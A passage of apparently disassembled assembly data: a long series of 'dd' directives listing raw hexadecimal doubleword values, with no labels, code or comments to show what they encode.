		dd 1C84B02h, 603D9084h,	2423D0F1h, 70FCF870h, 0D007DA39h
		dd 0F6A17A2Fh, 4C80EBB4h, 0A169F9E6h, 298AEE82h, 4090A202h
		dd 21B38912h, 0CE036098h, 1F2AA773h, 1B100437h,	98578F02h
		dd 0BB085CE8h, 0C43BA331h, 44E44035h, 1893ABBBh, 71E85DAAh
		dd 87006ED1h, 0FE85A569h, 0D774C3h, 405D3EE1h, 0F7DDBE4h
		dd 0EB761A00h, 3123797Bh, 0F8D70B41h, 94A1F76Ah, 74BD0EA2h
		dd 0E9502DC4h, 0B81ECD64h, 2C0AB784h, 90438492h, 7D91791Ah
		dd 488700EFh, 0A37C9808h, 0B0039C6h, 2F5EF290h,	4CD7889h
		dd 56FA601h, 80C09EF3h,	772F8CF6h, 0B44A5823h, 5273E10h
		dd 9F7831ECh, 2BC0DC9Bh, 837EACEAh, 17289320h, 801DA95h
		dd 0B28BEDCCh, 80802EFFh, 1778FA81h, 7EC2000Fh,	0C335CD48h
		dd 0EB05BDABh, 0A6392A8h, 0AED0EC01h, 8860B18Ah, 5B6F0C3Ah
		dd 0A260842Bh, 0D00AA614h
		dd 282300B4h, 0D488F906h, 98BBE6EDh, 73E461Ch, 704AD0EEh
		dd 40DEC408h, 0BDD0F72Ch, 5E950382h, 0C124AC8Bh, 3A4488ACh
		dd 742D4001h, 0C0BCAEE5h, 6EE0AFF7h, 0A02757D3h, 60111C84h
		dd 837DE199h, 0A8C486E3h, 4CA2E882h, 95E2CC52h,	72430h
		dd 0D09C2A7Ah, 464C6D86h, 81791499h, 8502EE18h,	0FAD6CDD9h
		dd 0A1A889B4h, 0FDC7748Ch, 4C01B980h, 4E67E257h, 975A8C3Eh
		dd 0F440136Bh, 87D8508Eh, 90DE2441h, 0B29380D8h, 0F307AC1Ch
		dd 0AE883C94h, 0F68A0B99h, 24D44411h, 6B2CFF84h, 4A64F0FEh
		dd 20BB5560h, 0A043A310h, 0C9832FC8h, 8906BB3Dh, 56ECED6Ch
		dd 1A360C73h, 95E92A84h, 532B6700h, 0D44DA460h,	0AF5D00ABh
		dd 0EF7B88B4h, 175C4AAEh, 9D590400h, 90A08B53h,	2D0E358Ch
		dd 0C88CCBA9h, 69E3C008h, 7A7BE54Ah, 0DDABB801h, 92D2BB6Eh
		dd 20FE5424h, 60A0E4F8h, 82819A3Fh, 0DA3D6C32h,	0F4C48E0Fh
		dd 4F9C2EA3h, 1DB8823h,	7D58491Ah, 88101836h, 49092744h
		dd 20EC5C26h, 0A9AAD558h, 983079DBh, 13F84438h,	545CEB12h
		dd 0E7A4A0C0h, 67208491h, 242AEA05h, 7C040D7h, 0A3ACF76h
		dd 0F1E0209Ch, 0B5A021F6h, 8AC82068h, 76FC1C80h, 2121606Ch
		dd 2561908h, 0AFB2AA02h, 43227ADFh, 87C210h, 1C428ECh
		dd 68ABA826h, 4C612364h, 4012F4B6h, 9B22CB43h, 0B6544F00h
		dd 0FD621B1Fh, 9C971E16h, 7AA6C37Dh, 0C04ADD25h, 0F423B42Fh
		dd 90453200h, 21B8049h,	2A25F90Dh, 7446AB1Dh, 98A75310h
		dd 38F62000h, 2C94923Bh, 0F022EB4Bh, 0D0F03040h, 5C704C3Ah
		dd 0D936E15Ch, 49C39880h, 5E7766B9h, 2BAA1900h,	0B32910CAh
		dd 5D0D21Fh, 42911334h,	206FFFF4h, 0E86B8AFh, 77F8A106h
		dd 88190C61h, 99CAE4F6h, 298321F4h, 355B3112h, 9F705809h
		dd 23C6282h, 41983A0h, 8CC281FFh, 0C7E08047h, 2A3BA7F7h
		dd 46B8B036h, 0BB590256h, 5123A334h, 41E560A0h,	3801A9BBh
		dd 35F751A1h, 0A44292EDh, 0F905002Bh, 8B026F7Bh, 0B2C1D39Ah
		dd 79545183h, 723F1816h, 0E08B0E9h, 4F649668h, 1F014700h
		dd 0BC9C10BEh, 397507D6h, 0EB076F0Dh, 173C5C80h, 3022FE43h
		dd 5D7700F0h, 1D180238h, 0CBF0C1FCh, 9A149305h,	642E5F75h
		dd 0D4000923h, 529FC9D6h, 0ECF472AAh, 9E0118C2h, 0FCB2497Fh
		dd 0BB7CDC9Ah, 2627C300h, 8D3A4A98h, 0A8D54815h, 0DEE8CC58h
		dd 0A94008Ch, 9F383AE5h, 7D0A2748h, 0D4886373h,	790E9E07h
		dd 189DF8FCh, 1897F35Bh, 5C242FDBh, 87803C01h, 73615381h
		dd 68BA005Bh, 0B9154654h, 6F06EB25h, 40ED17E4h,	7D3A0909h
		dd 9D47F6h, 89808111h, 0CF6FE2E3h, 54981671h, 9892BC24h
		dd 4674C44Ah, 2C9600DFh, 4DC02856h, 0F9A60EA0h,	4B2D501h
		dd 0F4809F8Ch, 0DA41987Ch, 0C60B8C42h, 254466Ch, 0A31ABB57h
		dd 10363153h, 0ABB3FCBh, 792CDB9Ah, 0D5020054h,	2837C09Fh
		dd 310229DFh, 648A0A2Fh, 84077C9Ch, 4E011D46h, 0F012EDB6h
		dd 9C4BD6h, 0B8B65651h,	261CE58Ah, 406CA61Dh, 1082A185h
		dd 0EDF47C13h, 0DB23A46Eh, 0DD7B6B0Bh, 228A0D83h, 0B88C91Eh
		dd 7F3B4B40h, 7A299Bh, 9651FF59h, 1F53AB3Fh, 0EC3820BAh
		dd 583E5AF7h, 350F0D23h, 451C0A6h, 2ED76DDAh, 877CA79Ah
		dd 726A9176h, 20582F82h, 16D7701Ch, 80700113h, 0A48EA402h
		dd 0F9853FC0h, 537CB603h, 0A809265Fh, 0FE88F64h, 0D8A8598Eh
		dd 490B1D18h, 1C1E7D55h, 263B0FDCh, 0FC805049h,	1AB787B1h
		dd 0F4448099h, 59493160h, 87E7D23h, 4717F2E2h, 77411400h
		dd 9EC33E8h, 0B9A15AB7h, 0F17B2420h, 5D0C5E7Ah,	0E031FF29h
		dd 48549978h, 0E3215CB4h, 15A080F2h, 7264174Bh,	3C9AC8E8h
		dd 0F471C0B9h, 4300DD18h, 0CBA7294h, 0EC070Fh, 0BF1A066Ah
		dd 82A69915h, 7016CCA4h, 58439AA7h, 0E48F55FFh,	0B48C3091h
		dd 3C57E0h, 0C958CD23h,	729B4B85h, 1437CE00h, 255459ACh
		dd 226A0B1Dh, 8885EE1Fh, 4AC3C027h, 29007A6Eh, 55EB12B5h
		dd 903B024Ch, 0A5DC32BCh, 7CC76710h, 0CD603244h, 8D129538h
		dd 24042B69h, 68B166B1h, 0A0012CC9h, 483036B8h,	8C33E824h
		dd 50B83400h, 16A36030h, 0ACCB6F9h, 80B4EA5Dh, 420EDD4Ah
		dd 6F096049h, 980AA97Ah, 17742E30h, 2746D4C7h, 9283C364h
		dd 99F72101h, 557E9AB3h, 4F016838h, 80294BEEh, 9398780Ch
		dd 0DAC860CAh, 403397C0h, 0BB930B4Fh, 34216FB2h, 714254A6h
		dd 0B8586D3Ch, 143C4878h, 0FA0FE10h, 0D27B32A8h, 26BB2006h
		dd 0D8A280E1h, 0D094D7h, 10E3CD97h, 49B08EEh, 46742426h
		dd 0C22501E1h, 0D5F44345h, 6D4E8h, 5165B74Ch, 0C6A6A2FFh
		dd 85003C96h, 8E6960F7h, 5EC09CE6h, 79003446h, 0C880EABh
		dd 7700D18Bh, 0C3A8064Eh, 493CAA9h, 69ED1FDDh, 0AC0CA9F3h
		dd 0A86D0018h, 0B98B845Bh, 2D04F492h, 0D085021h, 0AAA9CC1h
		dd 0EB451A00h, 7C41B3Dh, 610E4347h, 96AC6989h, 0CC4DE022h
		dd 0CF0060ECh, 61BA07E4h, 986A2F99h, 0B9E33ECh,	51F03F80h
		dd 740E8DA2h, 1F12EACEh, 1CDEA0C2h, 0B2244248h,	794059B8h
		dd 75851830h, 0FDB20467h, 81C825CDh, 8514A6D8h,	0FA2F2C80h
		dd 0B4E30885h, 0A93009F2h, 4F0E0053h, 0CB6EAEEDh, 6F3966E4h
		dd 68D5FBB7h, 0E7CCC3D0h, 0E43DD29Dh, 0F211430Ch, 3CE23096h
		dd 7DB9FA00h, 0A4382D8Dh, 0CC7E5867h, 0CD057320h, 0E7E49C69h
		dd 2B5B10CAh, 0DF23FCh,	663B7AE0h, 0F00079EDh, 0A10CD9ABh
		dd 95EB2DB5h, 0E711941Fh, 0CEF7AD80h, 0FC9098E2h, 0F566BC00h
		dd 810C761h, 8420F18Dh,	20058CD9h, 267D5649h, 3A01AC8Eh
		dd 0EB394925h, 0C72360E9h, 0B2DA510Ch, 114115h,	0DBB39BE6h
		dd 55FDF7FAh, 80C64E00h, 0AD738EC3h, 0DFC10186h, 0EE0F47BBh
		dd 4459FAA8h, 7418DD79h, 1A1B9A00h, 645FAC5Eh, 8B090E42h
		dd 81097CA1h, 442CF053h, 111465Ch, 0CF6E2386h, 9C41AFE6h
		dd 412A7912h, 26A78418h, 6D402111h, 3815B854h, 0C9923E8Ah
		dd 0A7C30466h, 0FF68902Ah, 0CD0B0953h, 6562808Dh, 6633E4E4h
		dd 0F9E005A0h, 2C8295h,	7EBCEB7Ch, 0E4E2F70Dh, 0CB15F1Eh
		dd 547A4616h, 9B12BD00h, 0AB537CEDh, 5DD49659h,	73FEBC50h
		dd 3D230058h, 59A783CAh, 245C9419h, 60A90010h, 26B284D0h
		dd 6B7D122Fh, 8AC0403Fh, 0FEFA5CD1h, 62E4E80Fh,	501480CDh
		dd 20FF3FDEh, 0F3092E70h, 105D3DDBh, 0FA69D88Ch, 3C9F0016h
		dd 99D7689Bh, 0EE00FFDAh, 0CEB141F7h, 0B556A1Ch, 9457F232h
		dd 0E7E4A065h, 38513363h, 9EB6D810h, 4342C896h,	0A8020135h
		dd 9E94509Ah, 7100737Ah, 0DBE96E36h, 97A56F5Ch,	304E0490h
		dd 8DE24614h, 166D0085h, 29247848h, 40814FFFh, 82BCED70h
		dd 60C13ACBh, 0BFC77B6Eh, 5C18386Ch, 8B34A1F2h,	63DDC60Bh
		dd 91289D8Eh, 6B24800Ch, 94CA7BAh, 8113737Dh, 0EA015CE8h
		dd 6C7078B6h, 3B9A4E1Eh, 2E230Ch, 55DC480Bh, 0C403BE2Fh
		dd 0A8A3E3C8h, 6A20F28Ah, 0C0244DBCh, 0FC8B255Ah, 0CE02F704h
		dd 0F4BC8573h, 0C399CD80h, 2805F016h, 33A701A3h, 0AAFC9440h
		dd 0AEC78E5h, 571537Ah,	2C0C3EDCh, 7061E080h, 0ABD6B713h
		dd 4889204Fh, 0D0901630h, 0A0F642FCh, 9C00F44Fh, 82D4956Dh
		dd 0DDC04B9Dh, 0ACFC7C90h, 0F4008CDEh, 864AB4D1h, 24A768F3h
		dd 8014485Eh, 0DE7C7E78h, 38A4E0F9h, 2B4EF343h,	0E12394h
		dd 4E608CE3h, 6D29B16Ah, 0ABFCCABh, 84F7F69Eh, 107D2C0Bh
		dd 545568h, 8B20FAA8h
		dd 8C946F70h, 6EE7BC00h, 8372971h, 8D05F96h, 0E4A6EF9Ch
		dd 1824674h, 7F8D1339h,	0E060D9FCh, 41865BABh, 0CF6F6BD4h
		dd 2EC0353Eh, 0B6F07430h, 0B8FA607Eh, 1A4F8172h, 0EC6318C0h
		dd 3942F31h, 2543AEFh, 71137DA7h, 890FAB2h, 16E7B8Eh, 5927B5E1h
		dd 0CDC5B842h, 29EC31DAh, 0C8AC68h, 3018B0F0h, 237AA8ECh
		dd 8B902264h, 28E0A4h, 6B0E8084h, 0B7B8AA7h, 0EB3520C6h
		dd 0E0AB0AB0h, 80ECE7B2h, 2BC78985h, 0BC7845EDh, 0A1872F00h
		dd 0FB8CDDD1h, 0D7313D12h, 0FA974062h, 465E185Ch, 0DD42009Bh
		dd 6D353757h, 1376008Ah, 0A09A362Ch, 0EC4983A4h, 2C9AF838h
		dd 1CD51h, 0C4A56A6Dh, 7096B76Fh, 466CC625h, 0BB58024Bh
		dd 315BA31Dh, 40C81037h, 0CCE148BBh, 0B3DC8812h, 509228C4h
		dd 9FA10D04h, 0CCBD9A9Ch, 6A1D3EB8h, 7701BA89h,	47DE7D40h
		dd 406F1030h, 0D618922Ch, 31C8FCE2h, 0CCFF4B93h, 0BB387D58h
		dd 7560C87Eh, 0DD970B9h, 0FB050518h, 0ABFFD496h, 2AA8F801h
		dd 2F084457h, 60A62D00h, 71C002FDh, 85480949h, 24787BEBh
		dd 25FA5021h, 8264BC45h, 0B2ECDE60h, 3FE09D0Fh,	4C40B35Dh
		dd 4566236Bh, 750D0E08h, 0C0E0F115h, 9EA78A26h,	73BCF817h
		dd 381A580Ah, 0ECB64F40h, 22E84612h, 57540795h,	604ECAB6h
		dd 0CEA27E73h, 0A0AC109Dh, 0E39025DEh, 4EB5E041h, 0C13788E8h
		dd 80268298h, 0E74D4371h, 0EC6BA70h, 156C1DB8h,	0F0AE8389h
		dd 9290A073h, 65CC8827h, 60DBE410h, 1829944h, 431A3586h
		dd 84DFF116h, 3ABB9DC0h, 4025B4A8h, 14FCC4C1h, 32BCF0BCh
		dd 379E008Ch, 0C3E17BECh, 0A89406E2h, 62184549h, 0F918F317h
		dd 0A09C0014h, 89022F2Ch, 7C9C05DAh, 69AC00DCh,	37C18EE9h
		dd 9601A9BEh, 0B6A1D501h, 0E2B06BBh, 0F8615028h, 3B907C6Ch
		dd 8000A07Ah, 77C4957Ch, 0B60C7A8h, 0DF4C29D1h,	9F9C0121h
		dd 0C299648Dh, 5EAD01Eh, 49D80E00h, 0E65C9387h,	2773046Eh
		dd 8156DF91h, 3E4AFDACh, 1FEFB81Dh, 80321190h, 0A94CD7FCh
		dd 0B8840074h, 0F77E77E7h, 0B6259130h, 70EC607Ah, 2EC73229h
		dd 0D4D31E78h, 1DDD5970h, 0A5F4129Eh, 64D324E2h, 30FF7258h
		dd 0B48C7DF6h, 6300881Eh, 0D6761A06h, 4AB07B6Eh, 0A41052EAh
		dd 0A8B18298h, 0EF32A803h, 6EC8073Ch, 4041FA4Ch, 5392E7CDh
		dd 8125FF2Dh, 9A7CD018h, 37BC643Ch, 652018Ch, 0A6A96EA8h
		dd 7603CE6h, 2CB43358h,	44F8C5C4h, 0EE8CDCBCh, 0DEA11C6Eh
		dd 40C8A70Ch, 0B6978A47h, 56F34308h, 0C071B3D8h, 0F3088C6h
		dd 0E1E5F9B1h, 6B6F47E1h, 10C34D3h, 0E0700493h,	12D20E4Ah
		dd 29658ED3h, 6E3CD06Bh, 0A64F62D7h, 0BF322C06h, 1D903019h
		dd 877A2041h, 80467F00h, 0FD0D143h, 0E9740986h,	796EFDh
		dd 0BF1AEB03h, 0E3139849h, 0F2B7146Dh, 3A03C409h, 5D775B9Dh
		dd 89B2824h, 0E9280B0Bh, 136A0254h, 0C76004F8h,	8B0D000Ah
		dd 2B049DCh, 7260D48Ah,	1C704E97h, 0F424D0BEh, 18AF58DEh
		dd 0DCCB3C14h, 10482F5Eh, 8C0F309h, 0A3D1F8DCh,	0E367301h
		dd 0A401A271h, 0C8805B2Fh, 0E10832EBh, 9A196AFh, 2C40F9B2h
		dd 61002D60h, 72A5CE5Fh, 2735C7D1h, 74B71AFEh, 1D34CA0Bh
		dd 80E71144h, 0A48B25E3h, 1476F630h, 20EF5D38h,	90A14907h
		dd 0E74FB09Fh, 0A205ECA0h, 8243537Ch, 98B6C052h, 0E1B0DEB3h
		dd 93DE37Ch, 0AF6F05A6h, 38B41292h, 0D4A10699h,	39188FE6h
		dd 4C95831Ch, 0A0151A0Eh, 90A91066h, 0E61F1E5Ch, 0FB8387D2h
		dd 0B7FD9041h, 90939168h, 10F2CD0h, 2FAF6642h, 8B249056h
		dd 80E6D921h, 3E238D63h, 2020E71Fh, 78E581CAh, 899A3850h
		dd 37F3DAA0h, 70CF0028h, 0C75BABAEh, 7FBA500h, 0B5D50251h
		dd 988DB55Ch, 0B8A46D50h, 1FBF0483h, 98A6015Ah,	44406350h
		dd 311B608Bh, 0F0E76062h, 0FB687013h, 5F40B81Eh, 0F7F2B09Fh
		dd 7EF8987Fh, 125AF466h, 801F6B79h, 94DEA260h, 54A88097h
		dd 0B0732870h, 510E990h, 0BF045AFCh, 0E43CFE0Ah, 0D40EBC89h
		dd 0C3C13588h, 609612AEh, 7B4F733h, 0EFF9D523h,	0E13A1A80h
		dd 68F601DCh, 837D343Bh, 0F8022EDBh, 600445ECh,	950FBE3Ch
		dd 3829087h, 0BD84B9D6h, 14FB830h, 3AE04988h, 69AF48C7h
		dd 6E4A0E74h, 819DA9A7h, 6C055700h, 888974CDh, 14793FEAh
		dd 0E31882F1h, 6581F805h, 0A800586Fh, 46CCDE38h, 0E4B0A792h
		dd 1FC6030h, 7F92EE0Ch,	6D840F3Eh, 0C03796D7h, 0CEF65748h
		dd 5000725Fh, 0B6924E59h, 168CB4E6h, 0B1D4A645h, 0C8308155h
		dd 0B50C009Bh, 0E620C280h, 0A605926Dh, 0B9119D8Ah, 0AB245497h
		dd 0AECFD441h, 0F6AC547Eh, 26307D98h, 12B29001h, 5B9CB4F0h
		dd 158DBAF9h, 918084DAh, 41D7B877h, 0CF784F12h,	78BFF4D2h
		dd 862C1AC0h, 24F1710Eh, 0AB18F479h, 5B0A6A79h,	0F0F12D4Fh
		dd 16A16802h, 563C6A95h, 5E01DC6Ch, 0F940F6EEh,	0E820BA81h
		dd 0D92D0177h, 69783EC8h, 5C003E90h, 9151FF4Ah,	9E13065Ch
		dd 492A0E1Ch, 0C0F578C8h, 7D5A4934h, 542C864Eh,	49190046h
		dd 284245A5h, 7502C905h, 943156CFh, 13C07C24h, 23703F50h
		dd 0D8850031h, 0AE5879E5h, 51F8B402h, 7A7B2C8Dh, 8902374Ch
		dd 0DFB28331h, 537DC905h, 28ED80E7h, 9BC4912h, 74510508h
		dd 0F61810F1h, 92BB9A1Dh, 618258B1h, 7C2C4189h,	0CD0184D1h
		dd 2476F8AAh, 9112EB10h, 60486324h, 4865180Ah, 0E42740A0h
		dd 0CC78208Ah, 10A930h,	77E7AEC8h, 1D820262h, 0BB12E4E2h
		dd 14309F17h, 2FA10C6Dh, 646D86B9h, 93633644h, 3BDCC1EDh
		dd 0A00D002Bh, 2E3FFFD8h, 0F2E210ECh, 7EC450C0h, 9D131F52h
		dd 0E48370h, 4B9938DFh,	0F6D00078h, 0B926A2B2h,	6200C1E4h
		dd 76603ED2h, 132C27B5h, 0F30C1780h, 31E7B24Ch,	0C66C30E2h
		dd 18B69A70h, 0ECE98BC4h, 0A1DE0100h, 0EFE20EA7h, 0E4C5A22Ch
		dd 0E0A7731Dh, 3E31DBF8h, 4BF3FA93h, 2306EA0h, 0B082FDEBh
		dd 0F4A8D601h, 0B45D6200h, 56C8DD7h, 0A8B7BDC3h, 81129E81h
		dd 1093013h, 6C2023F8h,	0A850D020h, 0A12D8C98h,	0B985025h
		dd 832223DFh, 2B3A705Ah, 0E948809Dh, 964A8D13h,	5CC0086Fh
		dd 0A90272Ch, 65381D5Ah, 2EC4A445h, 9ECF8064h, 8C0B8B58h
		dd 0A4B375Ch, 0E848F4BAh, 2632708h, 0F5EEA63Ah,	4DAF24D1h
		dd 21D240A8h, 0DE078729h, 0A1856077h, 0EF40DE2Eh, 0F001C84Ah
		dd 0A88659D6h, 3424104Fh, 3F8C2FB8h, 2B85A641h,	81183FD4h
		dd 28D74017h, 8C11BC40h, 0FA9F2D03h, 0D54A3FDBh, 67F844E5h
		dd 0D2030982h, 0E020F8B2h, 0AA63EA0Ch, 0A3437C00h, 0F923D585h
		dd 2C3C0126h, 47FF5C48h, 0DE9430F2h, 0AC2F2BEBh, 0B1008223h
		dd 7B98BE7h, 0C0E301E2h, 28C7257Eh, 38602983h, 0FCEA01FEh
		dd 0EB4D6A61h, 3AD25C38h, 3DA2308h, 0D3EB41E4h,	9596BCC0h
		dd 0F61AC0B4h, 0E174D6F8h, 7A1116A2h, 0F2348800h, 0E35698Ah
		dd 6627823Bh, 0C8D4CB73h, 5CAFC133h, 0A712D573h, 60C4C8E0h
		dd 0DA024F87h, 7895C0C0h, 2DFD3729h, 0AC480D1Ch, 9F17704Bh
		dd 0E041069Ah, 101D17A8h, 0F063F8F5h, 0CF2E2E1h, 670602BEh
		dd 0B6BFAD80h, 302D9CFEh, 84E544D0h, 0C4A4278h,	8AC55402h
		dd 81586727h, 344E95E9h, 8036F1C1h, 18720308h, 12751C5h
		dd 6B1EEED5h, 80115DD3h, 0C2882A19h, 54D6B2h, 0A06C6701h
		dd 891B3C75h, 0EDEE003h, 0A6C7F024h, 4CA50030h,	223E5AB1h
		dd 46331496h, 0B30852h,	0B1440321h, 6B2B3A67h, 0FDDD9300h
		dd 38ED11B7h
		dd 5D651972h, 0CCEE790Fh, 9529EFD5h, 511581Eh, 0D5214F0Eh
		dd 0A6BE8300h, 90C01E5Ah, 17D196BBh, 480E03C5h,	71B6F218h
		dd 92003078h, 0EB49885Bh, 3312A16Ch, 580854F3h,	63372100h
		dd 0CBBBFB88h, 90B9005Bh, 0B79195D8h, 137D4F32h, 72281163h
		dd 0CA3FA06Eh, 3811C015h, 8F19CFF0h, 75F2E80Eh,	21081997h
		dd 0F8552180h, 4E34EDCFh, 0B9541400h, 0D7F17AD8h, 671B74C4h
		dd 0E08D2916h, 3ED1F334h, 0DF793202h, 0A43994BBh, 5D60F868h
		dd 0EB234788h, 5F115Ch,	29886531h, 0E6AA8Fh, 0CC1BDF8h
		dd 397248A6h, 0C5CBC53Bh, 0D0C4A3E9h, 6C9870h, 9F0F9956h
		dd 12860223h, 0B4946D0Ah, 0DF05BC0Dh, 0F860220Eh, 2360B146h
		dd 0A911523Eh, 0B180053Eh, 4F25F948h, 3C05574Dh, 155CBFD0h
		dd 0C04E443h, 3EDE824h,	0CFC00026h, 4053971Dh, 93006516h
		dd 0B437E7ABh, 65F075A8h, 800459BCh, 0D066D76Ah, 2AF9033Bh
		dd 46E08CFEh, 920D0500h, 47A24B4Dh, 70D472AEh, 0B3600A32h
		dd 80906EB5h, 12CD749Ah, 60758BFh, 0C14D1D2Fh, 0F05A84AEh
		dd 31664882h, 95902017h, 88482649h, 2050800Ah, 982159D5h
		dd 461F2700h, 34609DECh, 0A00714E9h, 5EE8E0CFh,	5FDA008Ch
		dd 0B7A77F77h, 0B1535B1h, 1EDC12CAh, 0A500C403h, 912E6362h
		dd 0FFBD24A3h, 8FBC0CA8h, 53060E99h, 69E28A5Ah,	0F41B1810h
		dd 6A97412Fh, 5A0D94F4h, 3135B595h, 80F4A891h, 0EB4B8859h
		dd 64448C7Ch, 88611F35h, 3FC1854Ah, 23202ECEh, 0C0EC005Bh
		dd 0A9645DEEh, 0C90A2F00h, 97C3FE77h, 81C3B8B1h, 1E1863C8h
		dd 4868D54Dh, 6890E410h, 6F00325h, 6D40BA2Bh, 180EF992h
		dd 29E7954Eh, 0D12C00B3h, 0CE6DE541h, 3EA03D70h, 8D522ECFh
		dd 0E70D7306h, 1928BD1Fh, 18F91377h, 62909184h,	0EAD51B80h
		dd 448C4695h, 24005404h, 0EA1F76D5h, 2ED9DB9h, 694682CEh
		dd 30610FFBh, 936D10A2h, 0E3A9C0B4h, 0D04EAC8Dh, 0BFF7AB18h
		dd 550B989h, 4C293C98h,	0C7200361h, 729331F9h, 0D1A0C86Fh
		dd 0EBD51C80h, 448C3E95h, 25005301h, 0E271B1D5h, 6205318Fh
		dd 542E4889h, 0A05DC083h, 410CCBA7h, 0EB092D18h, 0F44D93h
		dd 0F899E38h, 3088D939h, 0FDC4C857h, 80D27700h,	506BE2FFh
		dd 1B28C40Ch, 23141411h, 885F01F6h, 334CEB45h, 67338068h
		dd 334BD88h, 83239882h,	0ACE86CE6h, 0CC094672h,	3F61922h
		dd 0EB01B8h, 5FD33C80h,	4F80BA70h, 0BE23F702h, 343B99h
		dd 0C8DBBE9h, 6C11B826h, 48802011h, 423E5EB1h, 7B4448Ch
		dd 63B14000h, 8F7DB90Fh, 74012929h, 1803F1BCh, 6133019Bh
		dd 97813DAEh, 0F5904821h, 8860048Ch, 6254EB46h,	68322059h
		dd 0B4004188h, 0E4F2AA77h, 241BEADCh, 807C10F7h, 0C197E365h
		dd 0A7280C09h, 0DB019C1Dh, 693FA2B4h, 788C479Bh, 0C6310BCBh
		dd 0F4F6A3B8h, 0E98D9507h, 6C00C1DAh, 5A95D99h,	1B4BF9C4h
		dd 12489EAh, 96C984h, 48A40797h, 8D14589Ch, 0C148CC85h
		dd 0EF91233h, 0E30BFAC0h, 0E28D8607h, 0B276F799h, 46B09830h
		dd 0CFEE0B3Dh, 0B1A9891Bh, 57101DB0h, 0D700CFF6h, 71883151h
		dd 0EF3293h, 2783B9BDh,	61404229h, 0E030F330h, 0C72E2h
		dd 0E3686036h, 3527AA6Ch, 8D1F899h, 0A0393518h,	37DF016Eh
		dd 0A35A97FEh, 0D3E48860h, 9E81850h, 6A492511h,	0ACB1BA8h
		dd 0B914A8B9h, 0D8DC00AFh, 6E973CA5h, 0D28A411h, 0CA2898A1h
		dd 0B1108CE5h, 20ECAC85h, 300B008Ch, 1162786h, 7764CE48h
		dd 0ED603E48h, 8F701ACFh, 5823448Ch, 80CFF500h,	0E2A64060h
		dd 9E8F0FBAh, 97806B17h, 0CE0BA8BBh, 0EA700214h, 8EF91278h
		dd 46708826h, 0F4EC2C43h, 38C88F0Ah, 51451B44h,	289880F4h
		dd 0D1006507h, 0E891ABD3h, 4D694018h, 0BD047813h, 8203F9A3h
		dd 9CE0E5E0h, 0A506D5E6h, 13A1C3E9h, 1499F218h,	0A0CEDDDFh
		dd 0EFC04088h, 468F18CFh, 1C22F0h, 0E0CFF756h, 9849F964h
		dd 0CC02EF19h, 434BE08h, 46BB006Bh, 0C3F520FAh,	370087C6h
		dd 0BF4BFFE9h, 0C1C2986Dh, 7B813E29h, 93B98443h, 9CC7DDA1h
		dd 17B369C1h, 0FB1BCB01h, 0C4F03018h, 248DEA39h, 0A100C7CFh
		dd 1822D1A4h, 0E96600D9h, 0A344FD34h, 24B1FF8Dh, 28C3E80Ch
		dd 56431209h, 6C6C0073h, 3BE6D281h, 619BE91Eh, 254490A6h
		dd 59B14B60h, 112A3E23h, 430402ADh, 0E08964B1h,	7C4684B9h
		dd 246494AFh, 594674FCh, 79F8F700h, 3E938241h, 8B0CA872h
		dd 0A014059Bh, 0F7950CECh, 0DD8A037h, 257C704Ch, 11D81F81h
		dd 59A7821Dh, 1FE1407Ah, 8B3C06D2h, 700B95C3h, 9B202890h
		dd 0BBF1052Bh, 80BCCEAFh, 0AF61BE0h, 0B40349D2h, 243BCBA8h
		dd 0CA9711h, 0D396FBCFh, 0ECAA1DF7h, 0EFC78C2Fh, 0B449499Ch
		dd 9451823h, 5A3E5FB1h,	687AC65h, 28D0B13Dh, 0AB93B4DEh
		dd 3A210E48h, 3ED6D789h, 5E232Ch, 0B469CBF7h, 0EF0356DEh
		dd 952C42Bh, 88D18441h,	31806FB5h, 9C15F056h, 0F90EE5C0h
		dd 8186544Dh, 418D250Fh, 0F020E4E2h, 9ED407B9h,	0E0EC7528h
		dd 0AB4AF991h, 3D20BD4Ch, 634C0B5h, 99BBDDEEh, 6D29616Bh
		dd 68268C8Dh, 8802C204h, 0A63254B0h, 22146A0h, 3E5DB147h
		dd 10AF314Ah, 1B13F08h,	9858E943h, 0D8033E88h, 812C4C06h
		dd 0F764C893h, 0EC885E61h, 9CA764EBh, 88663000h, 17991D6h
		dd 131157C9h, 0F8FD2A6Eh, 520486B7h, 96123E68h,	35C04CDBh
		dd 0E53357C7h, 0E8670F01h, 1420953h, 48B6C501h,	350E1298h
		dd 1171D5Dh, 8FE15BA2h,	0A0670D20h, 24CB4CB0h, 8050C126h
		dd 806FCC83h, 60905EDEh, 93884058h, 63064802h, 4420471Eh
		dd 46D26064h, 913E177Bh, 0D6C040FFh, 748DBC87h,	0DC0429D2h
		dd 21F0345h, 0B6EF9A64h, 44CCD0A3h, 0EE0522D0h,	92003B72h
		dd 0E54B0693h, 122AC9B3h, 0D4F821E6h, 8870CE8Ch, 5050C724h
		dd 0D5E9A740h, 742EDE4Eh, 9900AA23h, 6DD8DF6Eh,	97D90339h
		dd 66B509DDh, 1EC0E14Ch, 0EA819193h, 6361564Fh,	0E45921DCh
		dd 626400F9h, 0B34795BAh, 2494C0F0h, 1304465Eh,	6F131426h
		dd 13193C21h, 4FFDCD4h,	0CDBBE910h, 1BEB03F9h, 729938EEh
		dd 0CBB05493h, 0C167C898h, 0FC2F8B4Ch, 28905E41h, 13EC1B18h
		dd 7F78B959h, 0A06F0986h, 7800BBC6h, 4409960Ah,	34800494h
		dd 0ABBAA3FCh, 4CC05907h, 1DA2E043h, 431F30h, 0D00F6A66h
		dd 0BB7312A6h, 5000954Bh, 0EEDAC446h, 1C1A5CF3h, 500D9910h
		dd 83881348h, 0F13131BBh, 230E1530h, 325AA274h,	0ABBCF680h
		dd 70EFD420h, 5FD1F58h,	0EC3A7812h, 0C004B223h,	0B8C3EA42h
		dd 6FA248h, 0A11FEF95h,	13E098A3h, 10E9CBC6h, 3B3AE878h
		dd 32008904h, 0F67C2315h, 0DC24A229h, 17EB943Eh, 0C63C28h
		dd 617DDC1h, 0B518C874h, 4001B705h, 0FCCF40B4h,	0C504FA91h
		dd 125CD72Ch, 66889CCEh, 8F52A5C0h, 5CA92439h, 0CCF71C2Ch
		dd 77F0C6DFh, 0D0A3E30Eh, 9C8D8078h, 58E2B27h, 0F7E62CD2h
		dd 0C0F89B99h, 0E9047447h, 0F4AEF253h, 63970454h, 0E260809Bh
		dd 30ADF210h, 0C30216B6h, 97E298A1h, 14A861BCh,	2BFF9510h
		dd 2DD0B860h, 35EA1B6Dh, 0CB40C64Ah, 0C01EC8F4h, 0BF2812DFh
		dd 7C6D6E00h, 7BC3B36Bh, 9BEB0954h, 780201E1h, 0E866130Eh
